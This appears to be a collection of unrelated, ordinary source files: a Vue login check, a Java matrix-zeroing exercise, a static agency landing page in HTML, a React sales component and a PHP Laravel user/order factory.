// axios.defaults.baseURL = 'http://localhost:8000/api'
new Vue({
router,
store,
methods: {
isAuthenticate : function(){
if(this.$store.getters.isLoggedIn){
axios.defaults.headers.common['Authorization'] = "Bearer " + this.$store.state.token
this.axios.get("/login/check")
.then(response => {
if(response.data.auth == false || response.data.status == 0){
this.$store.dispatch('logout')
} else {
this.$store.commit('userDetail', response.data.user);
}
})
.catch(error => {
this.$store.dispatch('logout')
});
} else {
this.$store.dispatch('logout')
}
},
},
mounted(){
this.isAuthenticate();
axios.defaults.headers.common['Access-Control-Allow-Origin'] = '*';
},
render: h => h(App)
}).$mount('#app')
|
class Solution {
public void setZeroes(int[][] matrix) {
if (matrix == null || matrix.length == 0) {
return;
}
int m = matrix.length;
int n = matrix[0].length;
boolean firstRowHasZero = false;
boolean firstColHasZero = false;
for (int i = 0; i < m; i++) {
if (matrix[i][0] == 0) {
firstColHasZero = true;
break;
}
}
for (int j = 0; j < n; j++) {
if (matrix[0][j] == 0) {
firstRowHasZero = true;
break;
}
}
for (int i = 1; i < m; i++) {
for (int j = 1; j < n; j++) {
if (matrix[i][j] == 0) {
matrix[i][0] = 0;
matrix[0][j] = 0;
}
}
}
for (int i = 1; i < m; i++) {
for (int j = 1; j < n; j++) {
if (matrix[i][0] == 0 || matrix[0][j] == 0) {
matrix[i][j] = 0;
}
}
}
if (firstRowHasZero) {
for (int j = 0; j < n; j++) {
matrix[0][j] = 0;
}
}
if (firstColHasZero) {
for (int i = 0; i < m; i++) {
matrix[i][0] = 0;
}
}
}
}
public class SetMatrixZeros {
public static void main(String[] args) {
Solution solution = new Solution();
int[][] matrix1 = {{1, 1, 1}, {1, 0, 1}, {1, 1, 1}};
System.out.println("Original Matrix:");
printMatrix(matrix1);
solution.setZeroes(matrix1);
System.out.println("Matrix After Setting Zeroes:");
printMatrix(matrix1);
int[][] matrix2 = {{0, 1, 2, 0}, {3, 4, 5, 2}, {1, 3, 1, 5}};
System.out.println("\nOriginal Matrix:");
printMatrix(matrix2);
solution.setZeroes(matrix2);
System.out.println("Matrix After Setting Zeroes:");
printMatrix(matrix2);
}
public static void printMatrix(int[][] matrix) {
for (int[] row : matrix) {
for (int num : row) {
System.out.print(num + " ");
}
System.out.println();
}
}
}
|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=<device-width>, initial-scale=1.0">
<title>Document </title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/modern-normalize/2.0.0/modern-normalize.min.css"/>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Raleway:wght@700&family=Roboto:wght@400;500;700&display=swap"
rel="stylesheet">
<link rel="stylesheet" href="./css/styles.css"/>
</head>
<body>
<header class="header">
<div class="container" style="display: flex;">
<nav class="navbar">
<a class="logo-link" href="./index.html">Web<span class="logo-span">Studio</span></a>
<ul class="nav-links">
<li class="nav-item">
<a class="nav-link" id="nav-link-under" href="./index.html">Studio</a>
</li>
<li class="nav-item">
<a class="nav-link" href="">Portfolio</a>
</li>
<li class="nav-item">
<a class="nav-link" href="">Contacts</a>
</li>
</ul>
</nav>
<address class="address">
<ul class="address-links">
<li class="address-item">
<a class="address-link" href="mailto:[email protected]">[email protected]</a>
</li>
<li class="address-item">
<a class="address-link" href="tel:+110001111111">+11 (000) 111-11-11</a>
</li>
</ul>
</address>
</div>
</header>
<main>
<section class="section-one">
<div class="container">
<h1 class="first-title">Effective Solutions<br/>
for Your Business</h1>
<button class="button" type="button">Order Service</button>
</div>
</section>
<section class="goal">
<div class="container">
<h2 class="visually-hidden">Our Goals</h2>
<ul class="goal-list">
<li class="goal-item">
<div class="goal-icon">
<svg width="64" height="64" viewBox="0 0 64 64" fill="none" xmlns="http://www.w3.org/2000/svg">
<use href="./images/icons.svg#icon-antenna" />
</svg>
</div>
<h3 class="goal-item-title">Strategy</h3>
<p class="goal-item-text">Our goal is to identify the business problem to walk away with the perfect and creative solution.</p>
</li>
<li class="goal-item">
<div class="goal-icon">
<svg width="64" height="64" viewBox="0 0 64 64" fill="none" xmlns="http://www.w3.org/2000/svg">
<use href="./images/icons.svg#icon-clock" />
</svg>
</div>
<h3 class="goal-item-title">Punctuality</h3>
<p class="goal-item-text">Bring the key message to the brand's audience for the best price within the shortest possible time.</p>
</li>
<li class="goal-item">
<div class="goal-icon">
<svg width="64" height="64" viewBox="0 0 64 64" fill="none" xmlns="http://www.w3.org/2000/svg">
<use href="./images/icons.svg#icon-diagram" />
</svg>
</div>
<h3 class="goal-item-title">Diligence</h3>
<p class="goal-item-text">Research and confirm brands that present the strongest digital growth opportunities and minimize risk.</p>
</li>
<li class="goal-item">
<div class="goal-icon">
<svg width="64" height="64" viewBox="0 0 64 64" fill="none" xmlns="http://www.w3.org/2000/svg">
<use href="./images/icons.svg#icon-astronaut" />
</svg>
</div>
<h3 class="goal-item-title">Technologies</h3>
<p class="goal-item-text">Design practice focused on digital experiences. We bring forth a deep passion for problem-solving.</p>
</li>
</ul>
</div>
</section>
<section class="team">
<div class="container">
<h2 class="team-title">Our Team</h2>
<ul class="team-list">
<li class="team-item">
<img src="./images/team_1.jpg" alt="Mark Guerrero Image" width="264">
<div class="team-container">
<h3 class="team-item-title">Mark Guerrero</h3>
<p class="team-item-text">Product Designer</p>
<ul class="team-social-list">
<li class="team-social-item">
<a href="" class="team-social-link">
<svg class="social" width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
<use href="./images/icons.svg#icon-instagram" />
</svg>
</a>
</li>
<li class="team-social-item">
<a href="" class="team-social-link">
<svg class="social" width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
<use href="./images/icons.svg#icon-twitter" />
</svg>
</a>
</li>
<li class="team-social-item">
<a href="" class="team-social-link">
<svg class="social" width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
<use href="./images/icons.svg#icon-facebook" />
</svg>
</a>
</li>
<li class="team-social-item">
<a href="" class="team-social-link">
<svg class="social" width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
<use href="./images/icons.svg#icon-linkedin" />
</svg>
</a>
</li>
</ul>
</div>
</li>
<li class="team-item">
<img src="./images/team_2.jpg" alt="Tom Ford Image" width="264">
<div class="team-container">
<h3 class="team-item-title">Tom Ford</h3>
<p class="team-item-text">Frontend Developer</p>
<ul class="team-social-list">
<li class="team-social-item">
<a href="" class="team-social-link">
<svg class="social" width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
<use href="./images/icons.svg#icon-instagram" />
</svg>
</a>
</li>
<li class="team-social-item">
<a href="" class="team-social-link">
<svg class="social" width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
<use href="./images/icons.svg#icon-twitter" />
</svg>
</a>
</li>
<li class="team-social-item">
<a href="" class="team-social-link">
<svg class="social" width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
<use href="./images/icons.svg#icon-facebook" />
</svg>
</a>
</li>
<li class="team-social-item">
<a href="" class="team-social-link">
<svg class="social" width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
<use href="./images/icons.svg#icon-linkedin" />
</svg>
</a>
</li>
</ul>
</div>
</li>
<li class="team-item">
<img src="./images/team_3.jpg" alt="Camila Garcia Image" width="264">
<div class="team-container">
<h3 class="team-item-title">Camila Garcia</h3>
<p class="team-item-text">Marketing</p>
<ul class="team-social-list">
<li class="team-social-item">
<a href="" class="team-social-link">
<svg class="social" width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
<use href="./images/icons.svg#icon-instagram" />
</svg>
</a>
</li>
<li class="team-social-item">
<a href="" class="team-social-link">
<svg class="social" width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
<use href="./images/icons.svg#icon-twitter" />
</svg>
</a>
</li>
<li class="team-social-item">
<a href="" class="team-social-link">
<svg class="social" width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
<use href="./images/icons.svg#icon-facebook" />
</svg>
</a>
</li>
<li class="team-social-item">
<a href="" class="team-social-link">
<svg class="social" width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
<use href="./images/icons.svg#icon-linkedin" />
</svg>
</a>
</li>
</ul>
</div>
</li>
<li class="team-item" >
<img src="./images/team_4.jpg" width="264" alt="Daniel Wilson Image">
<div class="team-container">
<h3 class="team-item-title">Daniel Wilson</h3>
<p class="team-item-text">UI Designer</p>
<ul class="team-social-list">
<li class="team-social-item">
<a href="" class="team-social-link">
<svg class="social" width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
<use href="./images/icons.svg#icon-instagram" />
</svg>
</a>
</li>
<li class="team-social-item">
<a href="" class="team-social-link">
<svg class="social" width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
<use href="./images/icons.svg#icon-twitter" />
</svg>
</a>
</li>
<li class="team-social-item">
<a href="" class="team-social-link">
<svg class="social" width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
<use href="./images/icons.svg#icon-facebook" />
</svg>
</a>
</li>
<li class="team-social-item">
<a href="" class="team-social-link">
<svg class="social" width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
<use href="./images/icons.svg#icon-linkedin" />
</svg>
</a>
</li>
</ul>
</div>
</li>
</ul>
</div>
</section>
<section class="project">
<div class="container">
<h2 class="project-title">Our Portfolio</h2>
<ul class="project-list">
<li class="project-item">
<div class="overlay">
<img class="project-item-picture" src="./images/portfoilio1.jpg" width="360" alt="Banking App Image">
<p class="overlay-text">14 Stylish and User-Friendly App Design Concepts · Task Manager App · Calorie Tracker App · Exotic Fruit Ecommerce App · Cloud Storage App</p>
</div>
<div class="project-container">
<h3 class="project-item-title">Banking App</h3>
<p class="project-item-text">App</p>
</div>
</li>
<li class="project-item">
<div class="overlay">
<img class="project-item-picture" src="./images/portfoilio2.jpg" width="360" alt="Cashless Payment Image">
<p class="overlay-text">14 Stylish and User-Friendly App Design Concepts · Task Manager App · Calorie Tracker App · Exotic Fruit Ecommerce App · Cloud Storage App</p>
</div>
<div class="project-container">
<h3 class="project-item-title">Cashless Payment</h3>
<p class="project-item-text">Marketing</p>
</div>
</li>
<li class="project-item">
<div class="overlay">
<img class="project-item-picture" src="./images/portfoilio3.jpg" width="360" alt="Meditation App Image">
<p class="overlay-text">14 Stylish and User-Friendly App Design Concepts · Task Manager App · Calorie Tracker App · Exotic Fruit Ecommerce App · Cloud Storage App</p>
</div>
<div class="project-container">
<h3 class="project-item-title">Meditation App</h3>
<p class="project-item-text">App</p>
</div>
</li>
<li class="project-item">
<div class="overlay">
<img class="project-item-picture" src="./images/portfoilio4.jpg" width="360" alt="Taxi Service Image">
<p class="overlay-text">14 Stylish and User-Friendly App Design Concepts · Task Manager App · Calorie Tracker App · Exotic Fruit Ecommerce App · Cloud Storage App</p>
</div>
<div class="project-container">
<h3 class="project-item-title">Taxi Service</h3>
<p class="project-item-text">Marketing</p>
</div>
</li>
<li class="project-item">
<div class="overlay">
<img class="project-item-picture" src="./images/portfoilio5.jpg" width="360" alt="Screen Illustrations Image">
<p class="overlay-text">14 Stylish and User-Friendly App Design Concepts · Task Manager App · Calorie Tracker App · Exotic Fruit Ecommerce App · Cloud Storage App</p>
</div>
<div class="project-container">
<h3 class="project-item-title">Screen Illustrations</h3>
<p class="project-item-text">Design</p>
</div>
</li>
<li class="project-item" >
<div class="overlay">
<img class="project-item-picture" src="./images/portfoilio6.jpg" width="360" alt="Online Courses Image">
<p class="overlay-text">14 Stylish and User-Friendly App Design Concepts · Task Manager App · Calorie Tracker App · Exotic Fruit Ecommerce App · Cloud Storage App</p>
</div>
<div class="project-container">
<h3 class="project-item-title">Online Courses</h3>
<p class="project-item-text">Marketing</p>
</div>
</li>
</ul>
</div>
</section>
</main>
<footer class="footer">
<div class="footer-container container ">
<div class="left-footer">
<a class="footer-logo" href="./index.html">Web
<span class="footer-logo-span">Studio</span>
</a>
<p class="footer-text">Increase the flow of customers and sales for your business with digital marketing & growth solutions.</p>
</div>
<div class="right-footer">
<p class="social-text">Social media</p>
<ul class="social-list">
<li class="social-item">
<a href="" class="social-link">
<svg class="social" width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<use href="./images/icons.svg#icon-instagram" />
</svg>
</a>
</li>
<li class="social-item">
<a href="" class="social-link">
<svg class="social" width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<use href="./images/icons.svg#icon-twitter" />
</svg>
</a>
</li>
<li class="social-item">
<a href="" class="social-link">
<svg class="social" width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<use href="./images/icons.svg#icon-facebook" />
</svg>
</a>
</li>
<li class="social-item">
<a href="" class="social-link">
<svg class="social" width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<use href="./images/icons.svg#icon-linkedin" />
</svg>
</a>
</li>
</ul>
</div>
<div class="subscribe">
<p class="subscribe-text">
Subscribe
</p>
<form class="subscribe-form">
<label class="subscribe-label">
<input name="email" type="email" class="subscribe-input" placeholder="E-mail" />
</label>
<button type="submit" class="subscribe-btn">
Subscribe
<svg class="send-icon" width="24" height="24">
<use href="./images/icons.svg#icon-send">
</use>
</svg>
</button>
</form>
</div>
</div>
</footer>
<div class="backdrop">
<div class="modal">
<button type="button" class="modalclose">
<svg width="8" height="8" class="modalclose-icon">
<use href="./images/icons.svg#icon-close"></use>
</svg>
</button>
<p class="modal-text">Leave your contacts and we will call you back</p>
<form>
<div class="form-container">
<label for="user-name" class="input-label">Name</label>
<div class="label-container">
<input id="user-name" name="user-name" type="text" class="input">
<svg class="input-icon" width="12" height="12">
<use href="./images/icons.svg#icon-label-1"></use>
</svg>
</div>
</div>
<div class="form-container">
<label class="input-label">Phone</label>
<div class="label-container">
<input id="phone" name="phone" type="text" class="input">
<svg class="input-icon" width="13" height="13">
<use href="./images/icons.svg#icon-label-3"></use>
</svg>
</div>
</div>
<div class="form-container">
<label class="input-label">Email</label>
<div class="label-container">
<input id="email" name="email" type="text" class="input">
<svg class="input-icon" width="15" height="12">
<use href="./images/icons.svg#icon-label-2"></use>
</svg>
</div>
</div>
<div class="label-comment">
<label for="user-comment" class="input-label">Comment</label>
<textarea name="user-comment" id="user-comment" placeholder="Text input" class="textarea"></textarea>
</div>
<div class="checkbox">
<input id="user-privacy" class="checkbox-input visually-hidden" value="true" name="user-privacy" type="checkbox">
<span class="checkbox-span">
<svg width="10" height="8">
<use href="./images/icons.svg#icon-checkbox"></use>
</svg>
</span>
<label for="user-privacy" class="checkbox-label">I accept the terms and conditions of the
<a class="checkbox-link">Privacy Policy</a>
</label>
</div>
<button type="submit" class="modal-btn">Send</button>
</form>
</div>
</div>
</body>
</html>
|
import React , { useState, useEffect } from "react";
import SalesService from '../services/SalesService';
import SalesTable from '../components/SalesTable';
import SaleTabs from "../components/SaleComponent/SaleTabs";
import ServiceService from "../services/ServiceService";
import StaffService from '../services/StaffService';
import ProductService from '../services/ProductService';
const Sales = () => {
const [sales, setSales] = useState([]);
const [services, setServices] = useState([]);
const [service, setService] = useState();
const [products, setProducts] = useState([]);
const [product, setProduct] = useState();
const [staff, setStaff] = useState([]);
const [staffMember, setStaffMember] = useState();
const [date, setDate] = useState();
useEffect(() => {
SalesService.getSales()
.then(sales => setSales(sales));
}, []);
useEffect(() => {
ServiceService.getServices()
.then(services => setServices(services));
}, []);
useEffect(() => {
ProductService.getProducts()
.then(products => setProducts(products));
}, []);
useEffect(() => {
StaffService.getStaff()
.then(staff => setStaff(staff));
}, []);
const handleServiceChange = (e) => {setService(services[e.target.value])}
const handleProductChange = (e) => {setProduct(products[e.target.value])}
const handleStaffMemberChange = (e) => {setStaffMember(staff[e.target.value])}
const handleDateChange = (e) => {setDate(e.target.value)}
const updateStock = (stockSold) => {
const updatedProduct = {...product}
updatedProduct.stock -= stockSold
setProduct(updatedProduct)
ProductService.updateProduct(updatedProduct)
}
const addSale = (sale) => {
SalesService.addSale(sale);
const updatedSales = [...sales, sale]
setSales(updatedSales);
}
return (
<div className="parent-container">
<SaleTabs
services={services}
products={products}
staff={staff}
staffMember={staffMember}
service={service}
product={product}
date={date}
addSale={addSale}
updateStock={updateStock}
handleServiceChange={handleServiceChange}
handleProductChange={handleProductChange}
handleStaffMemberChange={handleStaffMemberChange}
handleDateChange={handleDateChange} />
<SalesTable sales={sales}/>
</div>
)
}
export default Sales;
|
<?php
namespace App\Http\Factories;
use App\Http\Clients\ProductHttpClient;
use App\Http\Clients\OrderHttpClient;
use App\Http\Clients\UserHttpClient;
use Illuminate\Support\Collection;
use Symfony\Component\HttpKernel\Exception\HttpException;
/**
* Class UserFactory
* @package App\Http\Factories
*/
class UserFactory
{
/**
* @var UserHttpClient
*/
private $userClient;
/**
* @var OrderHttpClient
*/
private $orderClient;
/**
* @var ProductHttpClient
*/
private $productClient;
/**
* OrderFactory constructor.
*/
public function __construct()
{
$this->userClient = new UserHttpClient();
$this->orderClient = new OrderHttpClient();
$this->productClient = new ProductHttpClient();
}
/**
* @return Collection
*/
public function getAllUsers(): Collection
{
try {
$data = [];
$users = $this->userClient->getAllUsers();
$data = $users;
} catch (HttpException $exception) {
throw new HttpException($exception->getStatusCode(), $exception->getMessage());
}
return new Collection($data);
}
/**
* @param int $userId
* @return Collection
*/
public function getUser(int $userId): Collection
{
try {
$data = [];
$user = $this->userClient->getUser($userId);
$data = $user;
} catch (HttpException $exception) {
throw new HttpException($exception->getStatusCode(), $exception->getMessage());
}
return new Collection($data);
}
/**
* @param int $userId
* @return Collection
*/
public function getUserOrders(int $userId): Collection
{
try {
$data = [];
$user = [];
$user["id"] = $userId;
$user["name"] = $this->userClient->getUser($userId);
$data["user"] = $user;
// lot of optimization can be done here
// this is just a simple example
$res = [];
foreach ($this->userClient->getUserOrders($userId) as $orderId => $order) {
if (array_key_exists("products", $order)) {
$res[$orderId] = $this->productClient->getProducts($order["products"])->toArray();
};
}
$data["orders"] = $res;
} catch (HttpException $exception) {
throw new HttpException($exception->getStatusCode(), $exception->getMessage());
}
return new Collection($data);
}
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.